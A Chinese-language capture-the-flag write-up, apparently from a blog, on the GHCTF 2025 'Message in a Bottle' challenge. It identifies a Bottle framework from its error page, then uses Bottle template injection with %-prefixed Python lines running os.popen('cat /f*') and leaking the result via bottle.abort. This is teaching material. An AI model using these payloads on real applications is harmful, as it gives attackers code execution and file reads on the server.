0%

[GHCTF 2025]Message in a Bottle

2025-08-05 14:21By
fenghot
PythonFlaskSSTI

Problem: [GHCTF 2025]Message in a Bottle

先判断是什么模块

{{7*7}} {{7*'7'}}

这些都没出现49 7777777
考虑是否过滤{{}}
改为{% print(7*7) %}
{% print(7*'7') %}
依旧没能出现我们想要的,{}可能被过滤了
我们无法使用正常的输入让它返回我们想要的框架信息
我们看看请求头有没有信息发现依旧没有
但是正常的输入不行,报错的我们却可以影响
那我们尝试看看报错的信息
随便访问一个
http://node1.anna.nssctf.cn:28313/submit/text.txt
后缀随便改,我们要报错信息
NSSIMAGE
报错的HTML结构框架:
Flask:蓝色调试页,显示完整堆栈
Django:黄色调试页,显示详细设置
Bottle:仅基础HTML+少量CSS(如您提供的页面)

这样看来我们挺符合Bottle页面的
再查看源码
NSSIMAGE
错误信息<pre>Not found: &#039;/submit/text.txt&#039;</pre>

路径引用格式 '...'(单引号HTML实体)是Bottle的默认风格

那这就是一个Bottle的注入
NSSIMAGE

<div> % if True: <span>content</span> % end </div>

输入后NSSIMAGE
留言板展现成功
我们成功注入了
运行的是if 后面的函数
我们只要更换这里就行了,加个%直接当成py运行

<div> % import os % flag_data = os.popen("cat /f*").read() <span>content</span> <!-- % print(flag_data) --> </div>

发现输出的还content,改成这个
% print( )
结果依旧没变,说明flag数据输出到我们前端可能经过处理,我们看不见,可能读取页面格式也不同
那我们只能强制中断请求,返回HTTP 200状态码,并将命令结果作为响应体返回给我们, import('bottle').abort(200, flag_data)
这样的数据会跳转到错误页面,展现出来

<div> % import os % flag_data = os.popen("cat /f*").read() % __import__('bottle').abort(200, flag_data) <span>content</span> </div>

NSSIMAGE

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论